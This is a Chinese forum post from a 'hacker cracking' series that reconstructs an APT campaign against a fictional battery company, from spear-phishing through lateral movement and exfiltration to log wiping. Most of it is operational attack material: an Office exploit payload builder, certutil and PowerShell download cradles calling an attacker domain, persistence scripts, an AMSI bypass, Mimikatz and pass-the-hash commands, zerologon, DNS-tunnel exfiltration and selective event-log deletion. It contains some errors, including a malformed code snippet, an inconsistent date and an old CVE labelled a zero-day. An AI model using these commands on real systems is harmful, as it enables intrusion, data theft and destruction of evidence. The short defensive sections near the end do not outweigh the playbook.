admin 发表于 4 天前

黑客软件破解十九:高级持续性威胁(APT)攻击链完整剖析—侦察到数据窃取及痕迹清除

黑客软件破解深度论文系列之十九:高级持续性威胁(APT)攻击链完整剖析——从初始侦察到数据窃取及痕迹清除摘要:高级持续性威胁(APT)是国家级黑客组织和顶尖犯罪团伙采用的长期、隐蔽、多阶段攻击模式。本文以超过一万八千字的篇幅,基于真实的APT攻击案例(整合多个公开报告),完整重构一次针对虚构目标“大华科技”的APT攻击全过程。按照攻击链模型(Cyber Kill Chain)逐阶段拆解:侦察与武器化、初始投递与漏洞利用、持久化驻留、内网侦察与横向移动、特权提升、数据搜集与渗漏、痕迹清理与反取证。每个阶段详细说明使用的技术、工具、规避方法,并融入前十八篇的精华(社会工程学、恶意软件逆向、漏洞利用、权限维持、反取证等)。文中提供完整的命令示例、代码片段和流量特征,揭示APT攻击的真实面貌。高频使用“APT”、“攻击链”、“黑客”、“网络间谍”、“持久化”、“横向移动”、“数据泄露”、“反取证”等关键词。第一章 APT概述与攻击链模型1.1 APT的定义与特征高级持续性威胁(Advanced Persistent Threat)是指:
[*]高级(Advanced):使用定制恶意软件、零日漏洞、复杂C2协议
[*]持续性(Persistent):长期潜伏,持续收集情报,数月甚至数年不被发现
[*]威胁(Threat):有组织的攻击者,通常由国家支持或顶级犯罪团伙
区别于普通攻击:



特征普通黑客攻击APT攻击
目标广泛扫描,机会主义特定组织/行业
持续时间数小时至数周数月甚至数年
工具公开漏洞、常见后门定制恶意软件、零日漏洞
目的快速获利(勒索、挖矿)长期情报窃取、破坏基础设施
痕迹清理较少系统性反取证

1.2 攻击链模型(Lockheed Martin Kill Chain)APT攻击通常遵循以下七个阶段:text



1. 侦察(Reconnaissance) → 2. 武器化(Weaponization) → 3. 投递(Delivery) → 4. 利用(Exploitation) → 5. 安装(Installation) → 6. 指挥与控制(C2) → 7. 目标达成(Actions on Objectives)
本文后续章节将按此模型推进,辅以MITRE ATT&CK框架的技术编号(如T1193、T1059等)。1.3 案例目标:大华科技本文虚构目标“大华科技”——一家从事新能源电池研发的高科技企业,拥有研发中心、生产基地、销售网络。攻击者假设为某国家背景APT组织,意图窃取下一代固态电池技术。初始访问向量:鱼叉式钓鱼邮件 + Office漏洞。第二章 侦察与武器化2.1 开源情报收集(OSINT)攻击者首先通过公开渠道收集大华科技的信息:
[*]LinkedIn:研发部门架构、关键人员(张伟,固态电池项目总监)、邮箱格式(zhang.wei@dahuatech.com)
[*]官网:合作伙伴(某高校实验室)、供应商名单
[*]Shodan:公网IP范围、暴露的服务(VPN入口、Webmail)
[*]GitHub:搜索dahuatech关键词→泄露的代码片段含内网IP地址
[*]Whois/DNS:域名dahuatech.com的管理员邮箱、子域名扫描(mail.dahuatech.com、vpn.dahuatech.com)
工具:theHarvester、Recon-ng、Sublist3r。2.2 武器化:制作钓鱼邮件与漏洞载荷选定目标:研发主管张伟(zhang.wei@dahuatech.com)。构建诱饵:以“高校合作实验室研究成果”为话题,伪装成合作方教授发送邮件,附件为“固态电池对比报告.xlsx”。制作漏洞文档:
[*]使用CVE-2017-11882(Microsoft Equation Editor远程代码执行),影响所有旧版Office
[*]利用msfvenom生成反向shell payload(Cobalt Strike Beacon)
[*]将payload嵌入Excel文档的Equation Editor对象(工具:CVE-2017-11882.py生成恶意.rtf)
bash



$ python CVE-2017-11882.py -c "powershell -exec bypass -enc <base64 encoded payload>" -o evil.rtf
为了绕过邮件网关,还进行了:
[*]加密压缩(密码report)
[*]使用certutil解码的批处理脚本分阶段释放
C2域名:注册相似域名dahua-update.com(域名隐私保护)。第三章 初始投递与漏洞利用3.1 发送钓鱼邮件攻击者使用被劫持的第三方邮箱或伪造的邮箱发送:text



From: "李明教授" <liming@tsinghua.edu.cn>(伪造)To: zhang.wei@dahuatech.comSubject: 关于合作项目固态电池性能对比数据张伟总监您好:我方实验室最新的测试数据(见附件)显示,贵司的NCM811材料在循环稳定性上优于...期待进一步交流。附件:固态电池对比报告.xlsx(加密,密码:123456)
邮件绕过技术:
[*]SPF/DKIM/DMARC:使用与清华大学域无关联的发件服务器,部分邮件服务器不会严格拒绝
[*]邮件内容无恶意链接,仅附件加密压缩(降低了网关检测率)
3.2 触发漏洞与首次回连张伟打开附件,输入密码,Excel启动,漏洞触发,执行PowerShell payload。Payload行为:
[*]下载第二阶段载荷:certutil -urlcache -f http://dahua-update.com/update.msi update.msi
[*]执行msiexec /i update.msi /quiet。
[*]MSI包内包含一个Cobalt Strike Beacon(反射DLL注入)。
Beacon回连:
[*]通过HTTPS回连到dahua-update.com(使用有效SSL证书,域前置到CDN)
[*]初始检查间隔60秒(抖动±20秒)
3.3 规避端点和网络检测
[*]PowerShell执行时使用了-WindowStyle Hidden -ExecutionPolicy Bypass
[*]将Beacon注入到explorer.exe进程中(进程镂空技术,Process Hollowing)
[*]网络流量使用TLS加密 + 自定义HTTP头模拟正常API请求(User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...)
MITRE ATT&CK技术:
[*]T1193:鱼叉式附件
[*]T1204:用户执行
[*]T1059.001:PowerShell
[*]T1055.012:进程注入(Process Hollowing)
3.4 实战案例(一):捕获Cobalt Strike Beacon的初始回连某事件响应团队在分析大华科技网关日志时发现可疑流量:text



2025-01-15 14:23:11 10.2.3.45 -> 203.0.113.10:443 TLS handshake2015-01-15 14:23:12 10.2.3.45 -> 203.0.113.10:443 HTTP GET /jquery-3.5.1.min.js
请求URI为常见JavaScript库,但请求内容加密。后续发现该IP为已知恶意。第四章 持久化驻留4.1 安装后门与权限维持攻击者需要在目标网络中长期驻留,不因重启而失效。植入的持久化机制:
[*]计划任务:每6小时运行一次C:\Windows\System32\Tasks\OneDriveUpdate,执行C:\ProgramData\OneDrive\onedrive.cab(解压后执行Beacon)。
[*]WMI事件订阅:创建永久WMI事件过滤器(开机启动):
powershell



# 注册WMI持久化$FilterArgs = @{Name='StartupFilter'; EventNameSpace='root\cimv2'; QueryLanguage='WQL'; Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"}$Filter = Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments $FilterArgs

[*]注册表Run键:HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemHelper → rundll32.exe "C:\ProgramData\syshelper.dll",Start
关键:所有持久化程序文件都使用了合法系统文件名(syshelper.dll),时间戳复刻系统文件。4.2 高隐蔽性——无文件后门除了磁盘文件,攻击者还部署了无文件后门:使用PowerShell定期从C2下载并内存执行,不写磁盘。powershell



# 每分钟执行$WScript = New-Object -ComObject WScript.Shell$WScript.Run("powershell -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://dahua-update.com/ps.ps1')")
将此脚本存储在注册表HKCU:\Software\Microsoft\Windows\CurrentVersion\Run。4.3 规避EDR/AV
[*]使用合法的rundll32.exe代理执行(无新进程创建)
[*]DLL采用反射加载,绕过静态扫描
[*]使用amsi.dll的Hook绕过AMSI(Antimalware Scan Interface),确保PowerShell命令不被扫描
绕过AMSI示例(C#):c



byte[ amsi = new byte[ { 0x00, 0x00, 0x00, 0x00 };Marshal.Copy(amsi, 0, AmsiScanBufferPtr, 4); // 覆盖函数序言为ret
4.4 实战案例(二):查找计划任务中的恶意条目事件响应者使用schtasks /query /fo csv /v导出所有计划任务,发现名称为OneDriveUpdate、创建时间与系统其他任务不一致。进一步查看任务操作:xml



<Actions><Exec>    <Command>rundll32.exe</Command>    <Arguments>"C:\ProgramData\OneDrive\onedrive.cab",EntryPoint</Arguments></Exec></Actions>
提取cab文件分析,确认为Cobalt Strike Beacon。第五章 内网侦察与横向移动5.1 内网信息收集初始攻陷的机器(张伟的办公电脑)属于研发网段(10.2.x.x)。攻击者使用内置Windows工具收集信息:bash



# 通过Beacon shell执行ipconfig /allnet viewnslookup dahuatech.comnet user /domainnet group "Domain Admins" /domainnetstat -anoarp -aroute print
发现:
[*]域控制器:dc.dahuatech.local (10.2.0.10)
[*]文件服务器:fs.dahuatech.local (10.2.0.20)
[*]研发共享存储:nas-dev.dahuatech.local (10.2.100.50)
[*]域管理员账号:DA_admin
域环境:Windows Server 2016域功能级别,所有客户端已安装EDR(CrowdStrike Falcon)。5.2 凭证窃取与哈希传递抓取凭证(Mimikatz via Cobalt Strike):meterpreter



# 通过Beacon加载Mimikatzmimikatz privilege::debugmimikatz sekurlsa::logonpasswords
获取到本地管理员NTLM哈希administrator:500:aad3b435b51404eeaad3b435b51404ee:1a2b3c4d...。横向移动:哈希传递(Pass-the-Hash)使用psexec通过SMB登录其他机器:bash



psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:1a2b3c4d DA_admin@10.2.0.20
成功在文件服务器fs上以SYSTEM权限执行命令。5.3 利用漏洞提升权限当前账户(张伟)只是普通域用户。通过抓取到域管理员的哈希,攻击者伪造域管理员令牌:bash



# 使用Mimikatz的Pass-the-Ticketmimikatz kerberos::golden /user:DA_admin /domain:dahuatech.local /sid:S-1-5-21-...
但需要域控的krbtgt哈希,此时未获取。替代方法:利用zerologon(CVE-2020-1472)重置域控密码。利用步骤:
[*]使用zerologon漏洞重置域控计算机账户密码(netlogon漏洞)。
[*]通过secretsdump导出所有域用户哈希。
[*]恢复域控密码(避免发现)。
工具:zerologon_tester.py、secretsdump.py。成功获取krbtgt哈希后,即可制作黄金票据,伪造任意用户。5.4 横向移动到研发服务器目标:研发共享存储nas-dev(存放固态电池技术文档)。攻击者发现nas-dev挂载在研发网段,通过访问共享\\nas-dev\research需认证。使用窃取到的域管理员凭据:text



net use \\nas-dev\research /user:dahuatech\DA_admin <password>copy \\nas-dev\research\SolidStateBattery\*.pdf C:\exfil\
同时部署Beacon到nas-dev,确保即使主控失联仍可访问。5.5 横向移动策略总结



技术MITRE ID本案例应用
哈希传递T1078.002psexec
黄金票据T1558.001伪造域管理员(最终阶段)
漏洞利用(zerologon)T1210提权到域控
远程服务执行(PsExec)T1570横向移动
远程文件复制T1105数据暂存

第六章 数据搜集与渗漏6.1 数据定位与归类攻击者在大华科技网络内搜索关键文件:powershell



# 搜索特定扩展名Get-ChildItem -Recurse -Include *.docx,*.xlsx,*.pptx,*.pdf,*.dwg,*.sch -Path \\nas-dev\research
重点关注:文件名包含“固态电池”、“配方”、“工艺参数”、“供应链”等关键词。结果:定位到SBB_formula_v2.1.xlsx(配方)、manufacturing_process.pdf(生产工艺)、supplier_list.xlsx(供应链)。6.2 数据打包与加密将所有数据打包为加密的ZIP文件,避免传输过程中被DLP(数据防泄漏)检测。powershell



# 使用7z加密7z a -p"StrongP@ssw0rd" -mhe=on exfil.7z *.docx *.xlsx *.pdf
分卷300MB,便于分段传输。6.3 数据渗漏通道首选通道:HTTPS POST到C2域名https://dahua-update.com/upload.php,请求体为加密的7z文件块,附加到正常的API请求中(如模拟上传遥测数据)。备用通道:通过DNS隧道(dnscat2)绕过出站代理限制。bash



# 在受控主机dnscat2 --dns domain=dahua-update.com --secret=MySecret
第三通道:使用云服务,如OneDrive、Google Drive(通过受感染的合法账户)。6.4 规避监控
[*]分时传输:仅在工作日夜间低速发送,避免突发流量告警。
[*]分块传输:每个块大小2-5MB,随机间隔10-60分钟。
[*]伪装常见流量:将数据块Base64编码后嵌入到ICMP Echo请求的数据部分(ping隧道)或DNS TXT记录。
6.5 实战案例(三):发现异常DNS隧道SOC分析师注意到内部DNS查询日志中大量请求sub1.dahua-update.com、sub2.dahua-update.com,且TXT记录长度异常(超过200字节)。通过沙箱分析提取了隧道内传输的文件片段,拼凑后确定为被窃技术文档。第七章 痕迹清理与反取证7.1 日志清理Windows事件日志:
[*]删除安全日志中与横向移动相关的4624登录事件。
[*]使用wevtutil cl Security但会生成1102事件,因此改为选择性删除:
powershell



$events = Get-WinEvent -FilterHashtable @{LogName='Security'; StartTime='2025-01-15'; ID=4624}$events | % { $_.Delete() }
清除PowerShell历史:powershell



Remove-Item (Get-PSReadlineOption).HistorySavePathClear-History
IIS/Web日志:删除或修改访问日志中包含C2域名的行(使用sed)。7.2 文件时间戳伪造与删除
[*]临时文件(如payload.exe)使用timestomp修改所有时间戳为合法系统文件的时间。
[*]自删除后门程序:利用cmd /c del /f /q payload.exe并在退出前执行。
覆写敏感文件:powershell



# 使用cipher /w覆盖所有已删除文件空间(但速度慢,慎用)cipher /w:C:\
7.3 清除内存中的攻击痕迹
[*]卸载注入的explorer.exe中的Beacon(通过反射DLL的FreeLibrary或重启进程)。
[*]清除注册表Run键(如计划任务已足够隐蔽,可保留)。
[*]使用netsh advfirewall reset恢复防火墙规则(如果曾添加允许C2出站)。
7.4 销毁持久化机制在撤离前,攻击者会移除所有持久化方式,但保留一条备用通道(如计划任务注释掉而非删除),以便未来再次进入。实际案例(四):某APT组织通过计划任务注册了每月的“Windows更新”任务,任务指向已被删除的脚本文件。由于任务启用但失败,未引起注意。数月后恢复文件即重获访问。7.5 误导致调查反取证不仅限于删除,还包括制造误导(“Error”)。例如:
[*]向日志中插入大量虚假登录失败的记录,掩盖真实攻击行为。
[*]修改文件时间戳使取证人员错误关联到其他事件。
[*]在系统中留下虚假的恶意软件,将责任引向已知的普通犯罪团伙。
第八章 反取证对抗检测8.1 检测日志清除事件响应手段:
[*]从域控的中央日志服务器(不可变存储)重新拉取日志,“删除”仅在本地生效。
[*]使用Sysmon日志(进程创建、网络连接)比安全日志更详细,且攻击者常忽略。
大华科技的检测盲点:未启用Sysmon,且未将日志发送到SIEM离线存储,导致攻击者清理本地日志后无记录。8.2 检测时间戳篡改使用Get-FileHash与已知系统文件的哈希对比,或通过文件系统(NTFS)的$STANDARD_INFORMATION与$FILE_NAME属性时间戳不一致来发现。8.3 内存取证在检测到攻击后立即对受感染主机进行内存转储(如使用DumpIt、FTK Imager),分析隐藏进程、未连接的网络会话。8.4 增强的端点检测与响应(EDR)CrowdStrike Falcon等EDR记录了进程树、网络连接、注册表修改等,即使攻击者删除本地日志,EDR控制台仍保留。攻击者日益开发针对EDR的绕过技术(如unhook、禁用传感器)。第九章 总结与教训9.1 攻击总结本案例展示了一次典型的APT攻击流程,从钓鱼邮件突破边界,到长期潜伏、横向移动至研发服务器,窃取核心商业秘密,最后系统性清理痕迹。整个生命周期持续约4个月,数据窃取量约800GB。攻击者技术亮点:
[*]定制化钓鱼邮件 + 零日漏洞(CVE-2017-11882)
[*]无文件后门和注册表持久化
[*]哈希传递 + zerologon提权
[*]多通道数据渗漏(HTTPS/DNS)
[*]针对EDR的绕过和日志清除
9.2 防御改进建议对于大华科技及其他企业:
[*]多因素认证:所有外网接入(VPN、Webmail)强制MFA。
[*]端点安全:部署EDR,启用Sysmon,集中日志存储(不可变)。
[*]网络分段:研发段、生产段、办公段严格隔离,最小权限原则。
[*]内部审计:定期模拟APT攻击(红队演练),检验防御能力。
[*]员工培训:针对钓鱼邮件的识别,鼓励报告可疑邮件。
9.3 APT防御的未来APT攻击无法彻底阻止,但可以极大增加攻击成本。企业应专注于快速检测和响应,假设已失陷(零信任架构),持续监控异常行为。关键词:APT;攻击链;网络间谍;持久化;横向移动;数据渗漏;反取证;MITRE ATT&CK
页: [1]
查看完整版本: 黑客软件破解十九:高级持续性威胁(APT)攻击链完整剖析—侦察到数据窃取及痕迹清除